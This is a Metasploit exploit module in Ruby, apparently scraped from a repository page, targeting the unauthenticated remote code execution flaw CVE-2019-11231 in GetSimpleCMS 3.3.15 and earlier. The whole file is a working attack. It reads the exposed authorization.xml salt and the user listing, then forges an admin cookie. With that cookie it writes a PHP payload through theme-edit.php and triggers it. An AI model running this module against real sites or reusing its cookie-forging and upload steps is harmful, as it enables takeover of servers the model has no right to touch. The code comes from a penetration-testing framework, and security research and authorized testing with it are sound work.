48b7f7c904
(removed parenthesis) Co-Authored-By: truerandom <masterofdisaster@ciencias.unam.mx>
176 lines
4.6 KiB
Ruby
176 lines
4.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "GetSimpleCMS Unauthenticated RCE",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in GetSimpleCMS,
|
|
which allows unauthenticated attackers to perform Remote Code Execution.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'truerandom (twitter.com/truerand0m) @ Khalifazo' #
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2019-11231'],
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00"
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' =>
|
|
[
|
|
['GetSimpleCMS 3.3.15 and before', {}]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Apr 28 2019",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to the cms', '/'])
|
|
])
|
|
end
|
|
|
|
def gscms_version
|
|
if target['Version']
|
|
@version = target['Version']
|
|
return @version
|
|
end
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => "#{target_uri.path}/admin/"
|
|
)
|
|
return unless res && res.code == 200
|
|
|
|
generator = res.get_html_document.at(
|
|
'//script[@type = "text/javascript"]/@src'
|
|
)
|
|
vers = generator.value.split('?v=').last.gsub(".","")
|
|
return unless vers
|
|
@version = vers
|
|
end
|
|
|
|
def get_salt
|
|
uri = normalize_uri(target_uri.path, '/data/other/authorization.xml')
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => uri
|
|
)
|
|
return unless res && res.code == 200
|
|
@salt = res.get_xml_document.at('apikey').text
|
|
end
|
|
|
|
def get_user
|
|
uri = normalize_uri(target_uri.path, '/data/users/')
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => uri
|
|
)
|
|
return unless res && res.code == 200
|
|
@username = res.get_html_document.at('[text()*="xml"]').text.split('.xml').first
|
|
end
|
|
|
|
def gen_cookie(version,salt,username)
|
|
cookie_name = "getsimple_cookie_#{version}"
|
|
sha_salt_usr = Digest::SHA1.hexdigest("#{username}#{salt}")
|
|
|
|
sha_salt_cookie = Digest::SHA1.hexdigest("#{cookie_name}#{salt}")
|
|
@cookie = "GS_ADMIN_USERNAME=#{username};#{sha_salt_cookie}=#{sha_salt_usr}"
|
|
end
|
|
def get_nonce(cookie)
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri,'admin','theme-edit.php'),
|
|
'cookie' => cookie,
|
|
'vars_get' => {
|
|
't' => 'Innovation',
|
|
'f' => 'Default Template',
|
|
's' => 'Edit'
|
|
}
|
|
})
|
|
@nonce = res.get_html_document.at('//input[@id = "nonce"]/@value')
|
|
end
|
|
|
|
def exploit
|
|
unless check == CheckCode::Vulnerable
|
|
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')
|
|
end
|
|
version = gscms_version
|
|
salt = get_salt()
|
|
username = get_user()
|
|
cookie = gen_cookie(version,salt,username)
|
|
nonce = get_nonce(cookie)
|
|
fname = rand_text_alpha(rand(10)+6) + '.php'
|
|
php = %Q|<?php #{payload.encoded} ?>|
|
|
upload_file(cookie,nonce,fname,php)
|
|
send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path,'theme',fname),
|
|
})
|
|
handler
|
|
end
|
|
|
|
def check
|
|
checkcode = CheckCode::Safe
|
|
if gscms_version
|
|
checkcode = CheckCode::Detected
|
|
else
|
|
return CheckCode::Unknown
|
|
end
|
|
if vulnerable
|
|
print_good('GetSimpleCMS appears vulnerable')
|
|
checkcode = CheckCode::Vulnerable
|
|
end
|
|
checkcode
|
|
end
|
|
|
|
def vulnerable
|
|
vulnerable = true
|
|
uri = normalize_uri(target_uri.path, '/data/other/authorization.xml')
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => uri
|
|
)
|
|
return unless res && res.code == 200
|
|
|
|
uri = normalize_uri(target_uri.path, '/data/users/')
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => uri
|
|
)
|
|
return unless res && res.code == 200
|
|
vulnerable
|
|
end
|
|
|
|
def upload_file(cookie,nonce,fname,content)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path,'admin','theme-edit.php'),
|
|
'cookie' => cookie,
|
|
'vars_post' => {
|
|
'submitsave' => 2,
|
|
'edited_file' => fname,
|
|
'content' => content,
|
|
'nonce' => nonce
|
|
}
|
|
})
|
|
end
|
|
end
|
|
|